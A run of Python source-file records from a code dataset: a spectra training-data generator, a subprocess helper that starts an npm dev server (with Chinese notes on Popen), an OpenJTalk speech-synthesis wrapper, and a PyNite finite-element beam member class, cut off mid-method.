pures.shape[0]))\r\n mixed_spectra = np.zeros((pures.shape[1], random_index))\r\n # create mixed spectra\r\n time_start = time.time()\r\n for ij in range(random_index):\r\n coeff[ij, :], mixed_spectra[:, ij] = spectra_generator(pures, noise_level, pow_val, poly_enhance)\r\n time_end = time.time()\r\n ############################################################################\r\n mixture_minima = np.min(np.mean(mixed_spectra, axis=0))\r\n# mixed_spectra = mixed_spectra - np.min(mixed_spectra)\r\n ############################################################################\r\n plt.figure(figsize=(10, 6))\r\n plt.plot(np.transpose(wn), mixed_spectra[:, :100], linewidth=0.5)\r\n plt.title('simulated mixed spectra', fontsize=fontsize_val)\r\n plt.xlabel('wavenumber (cm-1)', fontsize=fontsize_val)\r\n plt.ylabel('intensity (a.u.)', fontsize=fontsize_val)\r\n plt.xlim((np.min(wn), np.max(wn)))\r\n #plt.ylim((0, 100))\r\n plt.grid()\r\n plt.setp(plt.gca().get_xticklabels(), fontsize=fontsize_val)\r\n plt.setp(plt.gca().get_yticklabels(), fontsize=fontsize_val)\r\n plt.savefig('./output/generated/generated_mixed_spectra.png', dpi=200)\r\n plt.show()\r\n \r\n np.save('./spectra_data/X_train.npy', np.transpose(mixed_spectra))\r\n np.save('./spectra_data/Y_train.npy', coeff[:, :(pures.shape[0]-1)])\r\n print('totally cost:', time_end-time_start, 's')\r\n print('minimized mean of mixture:', mixture_minima)\r\n print('minima of mixture:', np.min(mixed_spectra))\r\n print('maxima of mixture:', np.max(mixed_spectra))\r\n print('minima of peak height:', np.min(np.max(mixed_spectra, axis=0) - np.min(mixed_spectra, axis=0)))\r\n print('noise base:', np.mean(pures[-1, :])*noise_level*poly_enhance)\r\n\r\nif __name__ == \"__main__\":\r\n main(0)","sub_path":"generate_training_dataset_v2.py","file_name":"generate_training_dataset_v2.py","file_ext":"py","file_size_in_byte":6010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"46548408","text":"# coding:utf-8\n\nimport subprocess\n\ndef run_vue_dev(path):\n # 文章来源 https://blog.csdn.net/jtujtujtu/article/details/47949775\n # subprocess.Popen(args, bufsize=0, executable=None, \\\n # stdin=None, stdout=None, stderr=None, \\\n # preexec_fn=None, close_fds=False, shell=False, \\\n # cwd=None, env=None, universal_newlines=False, \\\n # startupinfo=None, creationflags=0)\n # 参数说明:\n #\n # args:可以是字符串或者序列类型(如:list,元组),用于指定进程的可执行文件及其参数。如果是序列类型,第一个元素通常是可执行文件的路径。我们也可以显式的使用executeable参数来指定可执行文件的路径。在windows操作系统上,Popen通过调用\n # CreateProcess()\n # 来创建子进程, CreateProcess接收一个字符串参数,如果args是序列类型,系统将会通过\n # list2cmdline()\n # 函数将序列类型转换为字符串。\n # bufsize:指定缓冲。到目前为止没用过。\n # executable:用于指定可执行程序。一般情况下我们通过args参数来设置所要运行的程序。如果将参数shell设为True,executable将指定程序使用的shell。在windows平台下,默认的shell由COMSPEC环境变量来指定。\n # stdin, stdout, stderr分别表示程序的标准输入、输出、错误句柄。他们可以是PIPE,文件描述符或文件对象,也可以设置为None,表示从父进程继承。\n # preexec_fn只在Unix平台下有效,用于指定一个可执行对象(callable\n # object),它将在子进程运行之前被调用。\n # Close_sfs:在windows平台下,如果close_fds被设置为True,则新创建的子进程将不会继承父进程的输入、输出、错误管道。我们不能将close_fds设置为True同时重定向子进程的标准输入、输出与错误(\n # stdin, stdout, stderr)。\n # shell设为true,程序将通过shell来执行。\n # cwd用于设置子进程的当前目录。如果运行子进程需要在指定目录下运行,可以在此设置。\n # env是字典类型,用于指定子进程的环境变量。如果env = None,子进程的环境变量将从父进程中继承。\n # Universal_newlines: 不同操作系统下,文本的换行符是不一样的。如:windows下用’ / r / n’表示换,而Linux下用’ / n’。如果将此参数设置为True,Python统一把这些换行符当作’ / n’来处理。\n # startupinfo与creationflags只在windows下用效,它们将被传递给底层的CreateProcess()\n # 函数,用于设置子进程的一些属性,如:主窗口的外观,进程的优先级等等。如果需要在新的CMD窗口运行,Windows下需要设置\n # creationflags = subprocess.CREATE_NEW_CONSOLE。\n #\n #\n # subprocess.PIPE\n #\n # 在创建Popen对象时,subprocess.PIPE可以初始化stdin, stdout或stderr参数。表示与子进程通信的标准流。\n #\n #\n # subprocess.STDOUT\n #\n # 创建Popen对象时,用于初始化stderr参数,表示将错误通过标准输出流输出。\n #\n #\n # Popen的方法\n # 1.\n # Popen.poll():用于检查子进程是否已经结束。设置并返回returncode属性。\n #\n # 2.\n # Popen.wait():等待子进程结束。设置并返回returncode属性。\n #\n # 3.\n # Popen.communicate(input=None):与子进程进行交互。向stdin发送数据,或从stdout和stderr中读取数据。可选参数input指定发送到子进程的参数。Communicate()\n # 返回一个元组:(stdoutdata,\n # stderrdata)。注意:如果希望通过进程的stdin向其发送数据,在创建Popen对象的时候,参数stdin必须被设置为PIPE。同样,如果希望从stdout和stderr获取数据,必须将stdout和stderr设置为PIPE。\n #\n # 4.\n # Popen.send_signal(signal):向子进程发送信号。\n #\n # 5.\n # Popen.terminate():停止(stop)\n # 子进程。在windows平台下,该方法将调用Windows\n # API\n # TerminateProcess()来结束子进程。\n #\n # 6.\n # Popen.kill():杀死子进程。\n #\n # 7.\n # Popen.stdin:如果在创建Popen对象是,参数stdin被设置为PIPE,Popen.stdin将返回一个文件对象用于策子进程发送指令。否则返回None。\n #\n # 8.\n # Popen.stdout:如果在创建Popen对象是,参数stdout被设置为PIPE,Popen.stdout将返回一个文件对象用于策子进程发送指令。否则返回None。\n #\n # 9.\n # Popen.stderr:如果在创建Popen对象是,参数stdout被设置为PIPE,Popen.stdout将返回一个文件对象用于策子进程发送指令。否则返回None。\n #\n # 10.\n # Popen.pid:获取子进程的进程ID。\n #\n # 11.\n # Popen.returncode:获取进程的返回值。如果进程还没有结束,返回None。\n #\n # 12.\n # subprocess.call(*popenargs,\n # **kwargs):运行命令。该函数将一直等待到子进程运行结束,并返回进程的returncode。文章一开始的例子就演示了call函数。如果子进程不需要进行交互, 就可以使用该函数来创建。\n #\n # 13.\n # subprocess.check_call(*popenargs, **kwargs):与subprocess.call(*popenargs, **kwargs)\n # 功能一样,只是如果子进程返回的returncode不为0的话,将触发CalledProcessError异常。在异常对象中,包括进程的returncode信息。\n print(path)\n p1 = subprocess.Popen(['npm', 'run', 'dev'], shell=True, cwd=path)\n output = p1.communicate()[0]\n return output.decode(\"gbk\")\n\nif __name__ == '__main__':\n result = run_vue_dev('F:\\\\beijinglife\\\\wechat_ins')\n print(result)\n","sub_path":"function/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":5834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"16187304","text":"import subprocess\nimport os.path\n\n# OpenJTalkをインストールしたパス\nOPENJTALK_BINPATH = '/usr/bin'\nOPENJTALK_DICPATH = '/var/lib/mecab/dic/open-jtalk/naist-jdic'\nOPENJTALK_VOICEPATH = '/usr/share/hts-voice/mei/mei_{emotion}.htsvoice'\n\ndef make_wav(text, speed=1.0, emotion='normal', output_file='__temp.wav', output_dir=os.getcwd()):\n \"\"\"\n OpenJTalkを使ってmeiの声で音声合成してwavファイルを作る関数。\n 引数emotionには'normal', 'happy', 'bashful', 'angry', 'sad'のいずれかを指定可能。\n \"\"\"\n open_jtalk = [OPENJTALK_BINPATH + '/open_jtalk']\n mech = ['-x', OPENJTALK_DICPATH]\n htsvoice = ['-m', OPENJTALK_VOICEPATH.format(emotion=emotion)]\n speed = ['-r', str(speed)]\n outwav = ['-ow', os.path.join(output_dir, output_file)]\n cmd = open_jtalk + mech + htsvoice + speed + outwav\n c = subprocess.Popen(cmd,stdin=subprocess.PIPE)\n c.stdin.write(text.encode('utf-8'))\n c.stdin.close()\n c.wait()\n return os.path.join(output_dir, output_file)\n\n","sub_path":"src/jtalk.py","file_name":"jtalk.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"430142147","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 2 18:04:56 2017\n\n@author: D. Craig Brinck, SE\n\"\"\"\n# %%\nimport numpy as np\nfrom numpy import zeros, matrix, transpose, add, subtract, matmul, insert\nfrom numpy.linalg import inv\nfrom PyNite.BeamSegment import BeamSegment\nimport PyNite.FixedEndReactions\n\n# %%\nclass MemberBasis(object):\n \"\"\"\n 3D Vector Basis for a beam, with origin at start of beam, i-axis along the beam.\n An optional reference point in the ik-plane (non-colinear with the beam) can be\n specified to orientate the j- & k-axes of the beam.\n\n Attributes\n ----------\n iNode : Node\n start of the beam, i.e., the origin of the local coordinate system\n jNode : Node\n end of beam, which defines basis vector i\n L : number\n length of beam\n origin : 3D coordinate (numpy 1D array)\n the origin of the local coordinate system\n e_i : 3D vector (numpy 1D array)\n basis vector i\n e_j : 3D vector (numpy 1D array)\n basis vector j\n e_k : 3D vector (numpy 1D array)\n basis vector k\n T : 12x12 matrix (numpy 2D array)\n transformation matrix built from direction cosines\n T_inverse : 12x12 matrix (numpy 2D array)\n inverse (transpose) of the transformation matrix\n \"\"\"\n#%%\n @staticmethod\n def NodeToCoordinate(node):\n \"\"\"\n Convert PyNite Node to 3D coordinate (numpy 1D array)\n\n Parameters\n ----------\n node : PyNite Node\n coordinate in space\n\n Returns\n -------\n coord : 3D coordinate (numpy 1D array)\n coordinate in space\n \"\"\"\n return np.asarray([node.X, node.Y, node.Z], dtype=np.float64)\n\n#%%\n def __init__(self, iNode, jNode, ik_ref=None): # ik_ref must not be colinear with the beam\n \"\"\"\n Parameters\n ----------\n iNode : Node\n start of the beam, i.e., the origin of the local coordinate system\n jNode : Node\n end of beam, which defines basis vector i\n ik_ref : 3D coordinate (numpy 1D array), optional\n reference point in ik-plane of the beam (default is None)\n \"\"\"\n self.iNode = iNode\n self.jNode = jNode\n\n self.origin = MemberBasis.NodeToCoordinate(iNode)\n\n self.e_i = MemberBasis.NodeToCoordinate(jNode) - self.origin\n self.L = np.linalg.norm(self.e_i) # beam length\n self.e_i /= self.L\n\n if ik_ref is None: # this replicates PyNite default\n if 1 - abs(self.e_i[2]) < 1E-8: # vertical beam, or almost\n ref = np.asarray([self.e_i[2],0,0], dtype=np.float64)\n else:\n ref = np.asarray([0,0,-1], dtype=np.float64)\n else:\n ref = np.asarray(ik_ref, dtype=np.float64) - self.origin\n\n self.e_j = np.cross(ref, ref - self.e_i)\n self.e_k = np.cross(self.e_i, self.e_j)\n\n self.e_j /= np.linalg.norm(self.e_j)\n self.e_k /= np.linalg.norm(self.e_k)\n\n dirCos = [self.e_i, self.e_j, self.e_k]\n\n self.T = np.zeros((12, 12), dtype=np.float64)\n self.T[0:3, 0:3 ] = dirCos\n self.T[3:6, 3:6 ] = dirCos\n self.T[6:9, 6:9 ] = dirCos\n self.T[9:12, 9:12] = dirCos\n\n # T is orthonormal, so just transpose to get the inverse\n self.T_inverse = self.T.transpose()\n\n # Equivalent 4x4 transformation matrix\n #self.T_gl = np.asarray([[*self.e_i,0],[*self.e_j,0],[*self.e_k,0],[*self.origin,1]]).transpose()\n\n#%%\n def ToGlobal(self, coordinate):\n \"\"\"\n Translate from local coordinate system to global coordinates\n\n Parameters\n ----------\n coordinate : 3D coordinate (numpy 1D array)\n coordinate in local space\n\n Returns\n -------\n coord : 3D coordinate (numpy 1D array)\n coordinate in global space\n \"\"\"\n return self.origin + matmul(coordinate, self.T[0:3,0:3])\n\n# %%\nclass Member3D(MemberBasis):\n \"\"\"\n A class representing a 3D frame element in a finite element model.\n \"\"\"\n#%%\n __plt = None # Don't import PyPlot unless and until actually needed\n\n @staticmethod\n def __axis():\n if Member3D.__plt is None:\n import matplotlib.pyplot as plt\n Member3D.__plt = plt\n\n fig, ax = Member3D.__plt.subplots()\n return ax\n\n#%%\n def __init__(self, Name, iNode, jNode, material, section, ik_ref=None):\n \"\"\"\n Initializes a new member.\n \"\"\"\n MemberBasis.__init__(self, iNode, jNode, ik_ref)\n \n self.Name = Name # A unique name for the member given by the user\n self.ID = None # Unique index number for the member assigned by the program\n self.M = material # Material class object\n self.S = section # Section class object\n self.PtLoads = [] # A list of point loads & moments applied to the element (Direction, P, x) or (Direction, M, x)\n self.DistLoads = [] # A list of linear distributed loads applied to the element (Direction, w1, w2, x1, x2)\n self.SegmentsZ = [] # A list of mathematically continuous beam segments for z-bending\n self.SegmentsY = [] # A list of mathematically continuous beam segments for y-bending\n self.FER = zeros((12,1)) # The fixed end reaction vector\n self.Releases = [False, False, False, False, False, False, False, False, False, False, False, False]\n\n#%% \n def Display(self, view, wireframe):\n \"\"\"\n Displays the member in 3D\n\n Parameters\n ----------\n view : Viewer3D\n 3D viewer for plotting members\n wireframe : boolean\n If true, only plot wireframe\n \"\"\"\n self.S.Display(view, wireframe, self, self.M.color())\n\n#%% \n def DisplayResults(self, view, result):\n \"\"\"\n Displays the member in 3D indicating stress\n\n Parameters\n ----------\n view : Viewer3D\n 3D viewer for plotting members\n result : str\n Stress to display - one of: 'seq' (von Mises equivalent), 'sxx' (axial)\n \"\"\"\n xcount = 20\n values = np.zeros((xcount,7))\n\n endvec = self.f()\n Fx = endvec[0,0]\n Mx = endvec[3,0]\n\n for i in range(0, xcount):\n x = self.L * i / (xcount - 1)\n\n values[i,0] = x\n values[i,1] = Fx\n values[i,2] = self.Shear('Fy', x)\n values[i,3] = self.Shear('Fz', x)\n values[i,4] = Mx\n values[i,5] = self.Moment('My', x)\n values[i,6] = self.Moment('Mz', x)\n\n self.S.DisplayResults(view, self, values, result, self.M)\n\n#%%\n def k(self):\n \"\"\"\n Returns the local condensed stiffness matrix\n \"\"\"\n \n # Get the local stiffness matrix, partitioned as 4 submatrices in\n # preparation for static condensation\n k11, k12, k21, k22 = self.__k_Partition()\n \n # Calculate the condensed local stiffness matrix\n k_Condensed = subtract(k11, matmul(matmul(k12, inv(k22)), k21))\n \n # Expand the condensed local stiffness matrix\n i=0\n for DOF in self.Releases:\n \n if DOF == True:\n k_Condensed = insert(k_Condensed, i, 0, axis = 0)\n k_Condensed = insert(k_Condensed, i, 0, axis = 1)\n \n i += 1\n \n # Return the local stiffness matrix, with end releases applied\n return k_Condensed\n \n#%%\n def __k_Partition(self):\n \"\"\"\n Partitions the local stiffness matrix in preparation for static\n condensation. Used for applying end releases to the member.\n \"\"\"\n \n # Get the properties needed to form the local stiffness matrix\n E = self.M.E\n G = self.M.G\n Iy = self.S.Iyy\n Iz = self.S.Izz\n J = self.S.J\n A = self.S.A\n L = self.L\n \n # Create the uncondensed local stiffness matrix\n k = matrix([[A*E/L, 0, 0 , 0, 0, 0, -A*E/L, 0, 0, 0, 0, 0],\n [0, 12*E*Iz/L**3, 0, 0, 0, 6*E*Iz/L**2, 0, -12*E*Iz/L**3, 0, 0, 0, 6*E*Iz/L**2],\n [0, 0, 12*E*Iy/L**3, 0, -6*E*Iy/L**2, 0, 0, 0, -12*E*Iy/L**3, 0, -6*E*Iy/L**2, 0],\n [0, 0, 0, G*J/L, 0, 0, 0, 0, 0, -G*J/L, 0, 0],\n [0, 0, -6*E*Iy/L**2, 0, 4*E*Iy/L, 0, 0, 0, 6*E*Iy/L**2, 0, 2*E*Iy/L, 0],\n [0, 6*E*Iz/L**2, 0, 0, 0, 4*E*Iz/L, 0, -6*E*Iz/L**2, 0, 0, 0, 2*E*Iz/L],\n [-A*E/L, 0, 0, 0, 0, 0, A*E/L, 0, 0, 0, 0, 0],\n [0, -12*E*Iz/L**3, 0, 0, 0, -6*E*Iz/L**2, 0, 12*E*Iz/L**3, 0, 0, 0, -6*E*Iz/L**2],\n [0, 0, -12*E*Iy/L**3, 0, 6*E*Iy/L**2, 0, 0, 0, 12*E*Iy/L**3, 0, 6*E*Iy/L**2, 0],\n [0, 0, 0, -G*J/L, 0, 0, 0, 0, 0, G*J/L, 0, 0],\n [0, 0, -6*E*Iy/L**2, 0, 2*E*Iy/L, 0, 0, 0, 6*E*Iy/L**2, 0, 4*E*Iy/L, 0],\n [0, 6*E*Iz/L**2, 0, 0, 0, 2*E*Iz/L, 0, -6*E*Iz/L**2, 0, 0, 0, 4*E*Iz/L]])\n \n # Count the number of released degrees of freedom\n NumReleases = 0\n for DOF in self.Releases:\n if DOF == True:\n NumReleases += 1\n \n # Initialize each partitioned matrix\n k11 = zeros((12 - NumReleases, 12 - NumReleases))\n k12 = zeros((12 - NumReleases, NumReleases))\n k21 = zeros((NumReleases, 12 - NumReleases))\n k22 = zeros((NumReleases, NumReleases))\n \n # Initialize variables used to track rows and columns as the matrix is partitioned\n m11 = 0\n n11 = 0\n m12 = 0\n n12 = 0\n m21 = 0\n n21 = 0\n m22 = 0\n n22 = 0\n \n # Partition the stiffness matrix\n # Step through each term in the local stiffness matrix (m = row, n = column)\n for m in range(12):\n for n in range(12):\n \n # Determine which partitioned matrix this term belongs in\n if self.Releases[m] == False and self.Releases[n] == False:\n \n k11.itemset((m11, n11), k[m, n])\n \n n11 += 1\n if n11 == 12 - NumReleases:\n n11 = 0\n m11 += 1 \n \n elif self.Releases[m] == False and self.Releases[n] == True:\n \n k12.itemset((m12, n12), k[m, n])\n \n n12 += 1\n if n12 == NumReleases:\n n12 = 0\n m12 += 1\n \n elif self.Releases[m] == True and self.Releases[n] == False:\n \n k21.itemset((m21, n21), k[m, n])\n \n n21 += 1\n if n21 == 12 - NumReleases:\n n21 = 0\n m21 += 1\n \n elif self.Releases[m] == True and self.Releases[n] == True:\n \n k22.itemset((m22, n22), k[m, n])\n \n n22 += 1\n if n22 == NumReleases:\n n22 = 0\n m22 += 1\n \n # Return the matrix, partitioned into 4 submatrices\n return k11, k12, k21, k22\n \n#%%\n def fer(self):\n \"\"\"\n Returns the member's local fixed end reaction vector\n \"\"\"\n \n # Partition the local stiffness matrix and local fixed end reaction vector\n k11, k12, k21, k22 = self.__k_Partition()\n fer1, fer2 = self.__fer_Partition()\n \n # Calculate the condensed fixed end reaction vector\n ferCondensed = subtract(fer1, matmul(matmul(k12, inv(k22)), fer2))\n \n # Expand the condensed fixed end reaction vector\n i=0\n for DOF in self.Releases:\n \n if DOF == True:\n ferCondensed = insert(ferCondensed, i, 0, axis = 0)\n \n i += 1\n \n # Return the fixed end reaction vector \n return ferCondensed\n \n#%%\n def __fer_Partition(self):\n \"\"\"\n Partitions the local stiffness matrix in preparation for static\n condensation. Used for applying end releases to the member.\n \"\"\"\n \n # Initialize the fixed end reaction vector\n fer = zeros((12,1))\n \n # Sum the fixed end reactions for the point loads & moments\n for ptLoad in self.PtLoads:\n if ptLoad[0] == \"Fx\":\n fer = add(fer, PyNite.FixedEndReactions.FER_AxialPtLoad(ptLoad[1], ptLoad[2], self.L))\n elif ptLoad[0] == \"Fy\":\n fer = add(fer, PyNite.FixedEndReactions.FER_PtLoad(ptLoad[1], ptLoad[2], self.L, \"Fy\"))\n elif ptLoad[0] == \"Fz\":\n fer = add(fer, PyNite.FixedEndReactions.FER_PtLoad(ptLoad[1], ptLoad[2], self.L, \"Fz\"))\n elif ptLoad[0] == \"Mx\":\n fer = fer\n elif ptLoad[0] == \"My\":\n fer = add(fer, PyNite.FixedEndReactions.FER_Moment(ptLoad[1], ptLoad[2], self.L, \"My\"))\n elif ptLoad[0] == \"Mz\": \n fer = add(fer, PyNite.FixedEndReactions.FER_Moment(ptLoad[1], ptLoad[2], self.L, \"Mz\"))\n \n # Sum the fixed end reactions for the distributed loads\n for distLoad in self.DistLoads:\n fer = add(fer, PyNite.FixedEndReactions.FER_LinLoad(distLoad[1], distLoad[2], distLoad[3], distLoad[4], self.L, distLoad[0])) \n \n # Count the number of released degrees of freedom\n NumReleases = 0\n for DOF in self.Releases:\n if DOF == True:\n NumReleases += 1\n \n # Partition the fixed end reaction vector\n # Initialize each partitioned fixed end reaction vector\n fer1 = zeros((12 - NumReleases, 1))\n fer2 = zeros((NumReleases, 1))\n \n # Variables used to track indexing during partitioning\n m1 = 0\n m2 = 0\n \n # Partition the fixed end reaction vector\n for m in range(12):\n \n if self.Releases[m] == False:\n \n fer1.itemset((m1, 0), fer.item(m, 0))\n m1 += 1\n \n elif self.Releases == True:\n \n fer2.itemset((m2, 0), fer.item(m, 0))\n m2 += 1\n \n # Return the vector partitioned as 2 subvectors\n return fer1, fer2\n \n#%%\n def __fer_Unc(self):\n \"\"\"\n Returns the member's local fixed end reaction vector, ignoring the effects of end releases.\n Needed to apply the slope-deflection equation properly.\n \"\"\"\n \n # Initialize the fixed end reaction vector\n fer = zeros((12,1))\n \n # Sum the fixed end reactions for the point loads & moments\n for ptLoad in self.PtLoads:\n if ptLoad[0] == \"Fx\":\n fer = add(fer, PyNite.FixedEndReactions.FER_AxialPtLoad(ptLoad[1], ptLoad[2], self.L))\n elif ptLoad[0] == \"Fy\":\n fer = add(fer, PyNite.FixedEndReactions.FER_PtLoad(ptLoad[1], ptLoad[2], self.L, \"Fy\"))\n elif ptLoad[0] == \"Fz\":\n fer = add(fer, PyNite.FixedEndReactions.FER_PtLoad(ptLoad[1], ptLoad[2], self.L, \"Fz\"))\n elif ptLoad[0] == \"Mx\":\n fer = fer\n elif ptLoad[0] == \"My\":\n fer = add(fer, PyNite.FixedEndReactions.FER_Moment(ptLoad[1], ptLoad[2], self.L, \"My\"))\n elif ptLoad[0] == \"Mz\": \n fer = add(fer, PyNite.FixedEndReactions.FER_Moment(ptLoad[1], ptLoad[2], self.L, \"Mz\"))\n \n # Sum the fixed end reactions for the distributed loads\n for distLoad in self.DistLoads:\n fer = add(fer, PyNite.FixedEndReactions.FER_LinLoad(distLoad[1], distLoad[2], distLoad[3], distLoad[4], self.L, distLoad[0]))\n \n # Return the fixed end reaction vector, uncondensed\n return fer\n\n#%% \n def f(self):\n \"\"\"\n Returns the member's local end force vector\n \"\"\"\n \n # Calculate and return the member's local end force vector\n return add(matmul(self.k(), self.d()), self.fer())\n\n#%%\n def d(self):\n \"\"\"\n Returns the member's local displacement vector\n \"\"\"\n\n # Calculate and return the local displacement vector\n return matmul(self.T, self.D())\n \n#%%\n # Member global stiffness matrix\n def K(self):\n \n # Calculate and return the stiffness matrix in global coordinates\n return matmul(matmul(self.T_inverse, self.k()), self.T)\n\n#%%\n def F(self):\n \n # Calculate and return the global force vector\n return matmul(self.T_inverse, self.f())\n \n#%% \n # Global fixed end reaction vector\n def FER(self):\n \n # Calculate and return the fixed end reaction vector\n return matmul(self.T_inverse, self.fer())\n\n#%%\n def D(self):\n \"\"\"\n Returns the member's global displacement vector\n \"\"\"\n \n # Initialize the displacement vector\n Dvector = zeros((12,1))\n \n # Read in the global displacements from the nodes\n Dvector.itemset((0, 0), self.iNode.DX)\n Dvector.itemset((1, 0), self.iNode.DY)\n Dvector.itemset((2, 0), self.iNode.DZ)\n Dvector.itemset((3, 0), self.iNode.RX)\n Dvector.itemset((4, 0), self.iNode.RY)\n Dvector.itemset((5, 0), self.iNode.RZ)\n Dvector.itemset((6, 0), self.jNode.DX)\n Dvector.itemset((7, 0), self.jNode.DY)\n Dvector.itemset((8, 0), self.jNode.DZ)\n Dvector.itemset((9, 0), self.jNode.RX)\n Dvector.itemset((10, 0), self.jNode.RY)\n Dvector.itemset((11, 0), self.jNode.RZ)\n \n # Return the global displacement vector\n return Dvector\n\n#%%\n # Adds a concentrated moment to the frame element\n def AddMoment(self, M, x, Direction):\n \n self.Moments.append((M, x, Direction))\n\n#%%\n def Shear(self, Direction, x):\n \"\"\"\n Returns the shear at a point along the member's length\n \n Parameters\n ----------\n Direction : string\n The direction in which to find the shear. Must be one of the following:\n \"Fy\" = Shear acting on the local y-axis\n \"Fz\" = Shear acting on the local z-axis\n x : number\n The location at which to find the shear\n \"\"\"\n \n # Check which direction is of interest\n if Direction == \"Fy\":\n \n # Check which segment \"x\" falls on\n for segment in self.SegmentsZ:\n if round(x, 10) >= round(segment.x1, 10) and round(x, 10) < round(segment.x2, 10):\n return segment.Shear(x - segment.x1)\n \n if round(x, 10) == round(self.L, 10): \n lastIndex = len(self.SegmentsZ) - 1\n return self.SegmentsZ[lastIndex].Shear(x - self.SegmentsZ[lastIndex].x1)\n \n elif Direction == \"Fz\":\n \n for segment in self.SegmentsY:\n \n if round(x,10) >= round(segment.x1,10) and round(x,10) < round(segment.x2,10):\n \n return segment.Shear(x - segment.x1)\n \n if round(x,10) == round(self.L,10):\n \n lastIndex = len(self.SegmentsY) - 1\n return self.SegmentsY[lastIndex].Shear(x - self.SegmentsY[lastIndex].x1)\n \n#%%\n def MaxShear(self, Direction):\n \"\"\"\n Returns the maximum shear in the member for the given direction\n \n Parameters\n ----------\n Direction : string\n The direction in which to find the maximum shear. Must be one of the following:\n \"Fy\" = Shear acting on the local y-axis\n \"Fz\" = Shear acting on the local z-axis\n \"\"\" \n \n Vmax = 0\n \n if Direction == \"Fy\":\n \n for segment in self.SegmentsZ:\n \n if segment.MaxShear() > Vmax:\n \n Vmax = segment.MaxShear()\n \n if Direction == \"Fz\":\n \n for segment in self.SegmentsY:\n \n if segment.MaxShear() > Vmax:\n \n Vmax = segment.MaxShear()\n \n return Vmax\n \n#%%\n def MinShear(self, Direction):\n \"\"\"\n Returns the minimum shear in the member for the given direction\n \n Parameters\n ----------\n Direction : string\n The direction in which to find the minimum shear. Must be one of the following:\n \"Fy\" = Shear acting on the local y-axis\n \"Fz\" = Shear acting on the local z-axis\n \"\"\" \n \n Vmin = 0\n \n if Direction == \"Fy\":\n \n for segment in self.SegmentsZ:\n \n if segment.MinShear() < Vmin:\n \n Vmin = segment.MinShear()\n \n if Direction == \"Fz\":\n \n for segment in self.SegmentsY:\n \n if segment.MinShear() < Vmin:\n \n Vmin = segment.MinShear()\n \n return Vmin\n \n#%%\n def PlotShear(self, Direction):\n \"\"\"\n Plots the shear diagram for the member\n \"\"\"\n \n ax = Member3D.__axis()\n ax.axhline(0, color='black', lw=1)\n ax.grid()\n \n x = []\n V = []\n \n # Calculate the shear diagram\n for i in range(20):\n x.append(self.L / 19 * i)\n V.append(self.Shear(Direction, self.L / 19 * i))\n\n Member3D.__plt.plot(x, V)\n Member3D.__plt.ylabel('Shear')\n Member3D.__plt.xlabel('Location')\n Member3D.__plt.show() \n \n#%%\n def Moment(self, Direction, x):\n \"\"\"\n Returns the moment at a point along the member's length\n \n Parameters\n ----------\n Direction : string\n The direction in which to find the moment. Must be one of the following:\n \"My\" = Moment about the local y-axis\n \"Mz\" = moment about the local z-axis\n x : number\n The location at which to find the moment\n \"\"\"\n \n # Check which axis is of interest\n if Direction == \"My\":\n \n # Check which segment \"x\" falls on\n for segment in self.SegmentsY:\n \n if round(x,10) >= round(segment.x1,10) and round(x,10) < round(segment.x2,10):\n \n return segment.Moment(x - segment.x1)\n \n if round(x,10) == round(self.L,10):\n \n lastIndex = len(self.SegmentsY) - 1\n return self.SegmentsY[lastIndex].Moment(x - self.SegmentsY[lastIndex].x1)\n \n elif Direction == \"Mz\":\n \n for segment in self.SegmentsZ:\n \n if round(x,10) >= round(segment.x1,10) and round(x,10) < round(segment.x2,10):\n \n return segment.Moment(x - segment.x1)\n \n if round(x,10) == round(self.L,10):\n \n lastIndex = len(self.SegmentsZ) - 1\n return self.SegmentsZ[lastIndex].Moment(x - self.SegmentsZ[lastIndex].x1)\n \n#%%\n def MaxMoment(self, Direction):\n \"\"\"\n Returns the maximum moment in the member for the given direction\n \n Parameters\n ----------\n Direction : string\n The direction in which to find the maximum moment. Must be one of the following:\n \"My\" = Moment about the local y-axis\n \"Mz\" = Moment about the local z-axis\n \"\"\" \n \n Mmax = 0\n \n if Direction == \"Mz\":\n \n for segment in self.SegmentsZ:\n \n if segment.MaxMoment() > Mmax:\n \n Mmax = segment.MaxMoment()\n \n if Direction == \"My\":\n \n for segment in self.SegmentsY:\n \n if segment.MaxMoment() > Mmax:\n \n Mmax = segment.MaxMoment()\n \n return Mmax\n#%%\n def MinMoment(self, Direction):\n \"\"\"\n Returns the minimum moment in the member for the given direction\n \n Parameters\n ----------\n Direction : string\n The direction in which to find the minimum moment. Must be one of the following:\n \"My\" = Moment about the local y-axis\n \"Mz\" = Moment about the local z-axis\n \"\"\" \n \n Mmin = 0\n \n if Direction == \"Mz\":\n \n for segment in self.SegmentsZ:\n \n if segment.MinMoment() < Mmin:\n \n Mmin = segment.MinMoment()\n \n if Direction == \"My\":\n \n for segment in self.SegmentsY:\n \n if segment.MinMoment() < Mmin:\n \n Mmin = segment.MinMoment()\n \n return Mmin\n#%%\n def PlotMoment(self, Direction):\n \"\"\"\n Plots the moment diagram for the member\n \"\"\"\n \n ax = Member3D.__axis()\n ax.axhline(0, color='black', lw=1)\n ax.grid()\n \n x = []\n M = []\n \n # Calculate the moment diagram\n for i in range(20):\n \n x.append(self.L / 19 * i)\n M.append(self.Moment(Direction, self.L / 19 * i))\n\n Member3D.__plt.plot(x, M)\n Member3D.__plt.ylabel('Moment')\n Member3D.__plt.xlabel('Location')\n Member3D.__plt.show()\n\n#%%\n def Deflection(self, Direction, x):\n \n \"\"\"\n Returns the deflection at a point along the member's length\n \n Parameters\n ----------\n Direction : string\n The direction in which to find the deflection. Must be one of the following:\n \"dy\" = Deflection in the local y-axis\n \"dz\" = Deflection in the local x-axis\n x : number\n The location at which to find the deflection\n \"\"\"\n \n # Check which axis is of interest\n if Direction == \"dy\":\n \n # Check which segment \"x\" falls on\n for segment in self.SegmentsZ:\n \n if round(x,10) >= round(segment.x1,10) and round(x,10) < round(segment.x2,10):\n \n return segment.Deflection(x - segment.x1)\n \n if round(x,10) == round(self.L,10):\n \n lastIndex = len(self.SegmentsZ) - 1\n return self.SegmentsZ[lastIndex].Deflection(x - self.SegmentsZ[lastIndex].x1)\n \n elif Direction == \"dz\":\n \n for segment in self.SegmentsY:\n \n if round(x,10) >= 